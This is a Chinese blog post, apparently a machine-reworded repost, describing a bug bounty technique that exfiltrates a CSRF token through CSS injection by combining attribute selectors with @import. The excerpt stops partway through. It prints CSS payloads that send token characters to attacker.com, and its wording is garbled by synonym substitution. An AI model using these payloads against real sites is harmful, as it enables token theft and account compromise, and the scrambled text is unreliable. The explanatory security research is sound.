运用HTML注入进行信息走漏

访客5年前黑客工具1366

本篇文章叙述了我怎么发现一个缝隙运用点,而且能够bypass现有安全机制,使我取得5位数赏金。
一个古怪的HTML注入事例
AndréBaptista和Cache-Money正在研讨一个十分风趣的缝隙,它开端是一个简略的字符集bypass,经过一系列操作能够使方针(由于dompurify,不能进行XSS)演变成HTML注入。这是一条很棒的运用链,能够证明他们发现了很棒的东西。但如下问题仍是让他们遇到了很大的费事。
在听到他们取得的发展后,我想去看看我是否能够供给一些协助来使这个缝隙更具运用性。首要咱们确认咱们至少能够完结一次有用的点击绑架进犯。0xACB (Andre)和Cache-Money有一个很好的主意,他们企图串联更多的进犯面组成运用链,以发明更大影响力的缝隙。可是我有一些其他的主意。
在咱们确认了dompurify默许答应style标签之后,我开端考虑怎么运用CSS做更多的操作而不只只是仅操作DOM。假如你现已读过我的一些帖子,你就会知道我对CSS注入缝隙并不生疏。不幸的是,这个页面不只有结构加载维护,而且需求一些用户交互来触发注入,这导致假如咱们想要进行灵敏信息走漏,则会糟蹋很长时刻。而且这只是一个低危进犯,最多只能取得4位数的赏金。
我需求一种办法让浏览器在无需从头加载、iframes或用户交互的情况下能够履行多个CSS payload以达到相似的进犯。此外,咱们对能够注入的payload的长度进行约束。想要只是运用标签来运用它似乎是不或许的,直到我开端了解了CSS的一个特性:@import。
 
CSS注入入门
在我深化了解这项技能之前,我想用一个简略的部分来描述CSS注入中运用的传统token信息走漏技能。假如你对这方面现已很熟悉了,能够跳到下一节。别的,我也曾在之前的一篇blog中更深化地探讨了这项技能(https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d)。
传统的CSS注入token信息走漏技能依赖于一种名为Attribute Selectors的CSS特性。Attribute Selectors答应开发人员指定只有当某个元素的特点满意selector指示的条件时,才能够将该特定款式运用于该元素。咱们能够运用attribute selector创立一种规矩,该规矩仅在特定条件下适用于页面上的指定元素。当运用这些款式时,咱们能够运用相似于background-image等特点使浏览器与进犯者交互,以循环获取token信息走漏操作的反应。
input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);  
}
在这个比如中,咱们使浏览器一旦发现CSRF token以a最初,则将background-image设置为https://attacker.com/exfil/a中的图画。然后,咱们对或许作为token最初的每个字符(a, b, c, .. 7, 8, 9, etc.)重复此规矩。
一旦咱们知道token的榜首个字符是什么,咱们就能够再次履行进犯(一般运用iframes),但需求略微修正payload。
input[name=csrf][value^=ca]{
    background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
    background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
    background-image: url(https://attacker.com/exfil/c9);  
}
在这个比如中,咱们假定CSRF token的榜首个字母是一个c。如此一来,咱们经过再次运转之前的规矩就能够取得CSRF token的第二个字符。但这要建立在这些tokens都是以c最初的基础上。
 
先决条件
上述技能一般需求三个条件:
1.CSS注入需求答应满足长的payload
2.能够在结构加载页面再次履行CSS新生成的payloads
3.能够引证外部图片(或许被CSP阻挠)
这意味着,假如注入不答应满足大的payload,或许页面不能被结构加载,那么前面的技能或许不适用。在咱们的比如中,这意味由于存在结构安全机制,以及实践能够注入的字符数量有限,咱们无法运用这种技能。
 
@import to the Rescue
许多编程言语能够从其他源文件导入代码,CSS也不破例。虽然许多人或许只知道,但实践上CSS自身有一种办法能够运用一种名为@import的at-rule来履行相似(但不同)类型的表单款式包括。
在大多数情况下,@import将提取的款式直接交换到当时款式表中,这使开发人员能够引进外部款式的一起,掩盖那些界说在@import行下的外部资源中的,不被需求的指令。
在某些浏览器(例如Chrome)中完成的此功用将会带来一个风趣的副作用,即能够在外部资源被提取到浏览器的一起处理款式表的其余部分。我的了解是,这种行为增加了页面的TTI,一起企图削减”flashes of unstyled content”(拜见FOUC problem),但实践上它在开发中有实践用处。
幻想一下,咱们有一个网页包括以下款式表:
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome经过3个过程处理此款式表:
1.向http://laggysite.com/base.css宣布恳求
2.履行剩下指令(apply * { color: red; })
3.当http://laggysite.com/base.css回来呼应时,将呼应代入款式表并从头履行款式表。
当@import方针呼应时,咱们能够运用浏览器再次履行款式表的行为,模仿曾经的技能中从iframes中操控CSS再次履行的才能的行为。咱们运用@import的仅有要求是咱们必须在style标签的开端时具有操控权(由于这是HTML注入)。
为此,咱们将在款式表中创立两个@import规矩,并让服务器坚持一切衔接为翻开状况。然后,咱们将运用规范的CSS注入token信息走漏payload从方针特点中提取榜首个token。当咱们的服务器从background款式接收到该token后,咱们能够生成下一个token信息走漏payload,并运用新生成的payload呼应下一个待处理的@import规矩。

[1] [2]  黑客接单网

相关文章

浏览器进犯结构BeEF Part 2:初始化操控

前语 在上一章,笔者现已介绍了BeEF结构。在这一章,笔者将介绍进犯阅读器技能的第一步:初始操控。 阅读器进犯办法流程 进犯阅读器一般分为几个阶段,看下图: 整个进程分为三个过程,第一步是初始化操控,...

再度瞄准工控设备基础设施:针对TRITON歹意活动的详细分析

FireEye近期承认TRITON歹意活动正在针对一个新的要害基础设施建议进犯,咱们现在现已对该歹意行为采取了呼应办法。 2019年12月,FireEye揭露发布了咱们针对TRITON进犯的第一次剖析...

一名代码审计新手的实战阅历与感悟

blueCMS介绍 个人认为,作为一个要入门代码审计的人,审计流程应该从简略到困难,逐渐提高。因而我主张咱们的审计流程为——DVWA——blueCMS——其他小众CMS——结构。一起做总结,搞清楚缝隙...

web前端技能,做一个超有用的待办事项管理工具web版别

经过方案开端每一天是使你走向成功的要害,时间管理的重要性在这里我就不多说了,奉上一个web版别待办事项管理工具教程 这是终究作用图 接下来一步步完成它 html代码 html代码 对应的CSS代码 作...

我是怎么绕过Uber的CSP防护成功XSS的?

咱们好!在开端正式的内容之前,请答应我做个简略的毛遂自荐。首要,我要阐明的是我不是什么安全研究人员/安全工程师,切当的来说我是一名安全的爱好者,这始于两年前的Uber。我喜爱触摸新的事物,而且每天都在...

Web爬虫:多线程、异步与动态署理开始

在收集数据的时分,经常会碰到有反收集战略规矩的WAF,使得原本很简略工作变得复杂起来。黑名单、约束拜访频率、检测HTTP头号这些都是常见的战略,不按常理出牌的也有检测到爬虫行为,就往里注入假数据回来,...